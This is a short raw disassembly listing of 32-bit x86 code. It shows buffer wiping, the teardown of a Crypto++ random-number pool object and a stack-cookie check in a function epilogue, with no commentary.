mov ecx, dword [ebp - 0x84]
cmp eax, ecx
mov edx, dword [ebp - 0x80]
mov edi, edx
cmovb ecx, eax
xor al, al
rep stosb byte es:[edi], al
push edx
call fcn.00467f90
mov ecx, dword [ebp - 0x1a0]
add esp, 4
mov dword [ebp - method.CryptoPP::AutoSeededRandomPool.virtual_0], vtable.CryptoPP::AutoSeededRandomPool.0
test ecx, ecx
je 0x411aa9
mov eax, dword [ecx]
push 1
call dword [eax]
mov ecx, dword [ebp - 0x1ac]
lea eax, [ebp - 0x1e0]
cmp dword [ebp - 0x1b0], ecx
lea edi, [ebp - 0x1e0]
cmovb ecx, dword [ebp - 0x1b0]
neg eax
and eax, 0xf
add eax, edi
mov edi, dword [ebp - 0x1a8]
cmp edi, eax
jne 0x411ae4
xor al, al
mov byte [ebp - 0x1b7], 0
rep stosb byte es:[edi], al
mov ecx, dword [ebp - 0x1ec]
lea eax, [ebp - 0x210]
cmp dword [ebp - 0x1f0], ecx
lea edi, [ebp - 0x210]
cmovb ecx, dword [ebp - 0x1f0]
neg eax
and eax, 0xf
add eax, edi
mov edi, dword [ebp - 0x1e8]
cmp edi, eax
jne 0x411b1f
xor al, al
mov byte [ebp - 0x1f7], 0
rep stosb byte es:[edi], al
mov edx, dword [ebp - 0x50]
cmp edx, 8
jb 0x411b60
mov ecx, dword [ebp - 0x64]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4107f0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411bab
jmp 0x4107f0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.004905bb
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004b5132
call fcn.004b5132
call fcn.004b5132
call fcn.004b5132
call fcn.004b5132
call fcn.004b5132
call fcn.004b5132
call fcn.004b5132
call fcn.004b5132
call fcn.004b5132
int3